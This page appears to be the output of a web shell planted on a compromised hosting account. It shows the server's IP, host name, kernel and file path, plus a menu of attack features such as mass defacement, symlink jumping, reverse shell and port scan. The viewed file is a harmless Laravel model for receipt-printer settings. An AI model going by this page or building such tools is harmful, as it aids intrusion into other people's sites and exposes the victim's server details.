Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Models
/
Viewing: ConfiguracionImpresion.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class ConfiguracionImpresion extends Model { protected $table = 'configuracion_impresion'; protected $fillable = [ 'formato_default', 'modelo_impresora', 'tipo_impresora', 'marca_impresora', 'ancho_papel', 'margen_superior', 'margen_inferior', 'margen_izquierdo', 'margen_derecho', 'imprimir_logo', 'imprimir_qr', 'imprimir_cufe', 'auto_print', 'abrir_cajon', 'copias_factura', 'copias_comanda', 'mensaje_encabezado', 'mensaje_pie', 'terminos_condiciones', 'fuente_principal', 'tamano_fuente', 'configuracion_adicional' ]; protected $casts = [ 'imprimir_logo' => 'boolean', 'imprimir_qr' => 'boolean', 'imprimir_cufe' => 'boolean', 'auto_print' => 'boolean', 'abrir_cajon' => 'boolean', 'configuracion_adicional' => 'array' ]; const FORMATOS = [ '58mm' => 'Tirilla 58mm (Térmica pequeña)', '80mm' => 'Tirilla 80mm (Térmica estándar)', 'media_carta' => 'Media Carta', 'carta' => 'Carta Completa' ]; const TIPOS_IMPRESORA = [ 'termica' => 'Térmica (POS)', 'tinta' => 'Inyección de Tinta', 'laser' => 'Láser', 'matricial' => 'Matricial' ]; const MARCAS_COMUNES = [ 'epson' => 'Epson', 'hp' => 'HP', 'brother' => 'Brother', 'star' => 'Star Micronics', 'bixolon' => 'Bixolon', 'zebra' => 'Zebra', 'citizen' => 'Citizen', 'samsung' => 'Samsung', 'canon' => 'Canon', 'otra' => 'Otra' ]; public static function obtenerConfiguracion(): self { return self::first() ?? self::crearDefault(); } public static function crearDefault(): self { return self::create([ 'formato_default' => '80mm', 'tipo_impresora' => 'termica', 'ancho_papel' => 80, 'imprimir_logo' => true, 'imprimir_qr' => true, 'imprimir_cufe' => true, 'auto_print' => true, 'copias_factura' => 1, 'copias_comanda' => 1, 'fuente_principal' => 'Arial', 'tamano_fuente' => 10 ]); } public function getVistaImpresion(): string { return match($this->formato_default) { '58mm' => 'ventas.print_58mm', '80mm' => 'ventas.print', 'media_carta' => 'ventas.print_media_carta', 'carta' => 'ventas.print_carta', default => 'ventas.print' }; } public function esFormatoTermico(): bool { return in_array($this->formato_default, ['58mm', '80mm']); } public function esFormatoCarta(): bool { return in_array($this->formato_default, ['media_carta', 'carta']); } }
Coded With 💗 by
0x6ick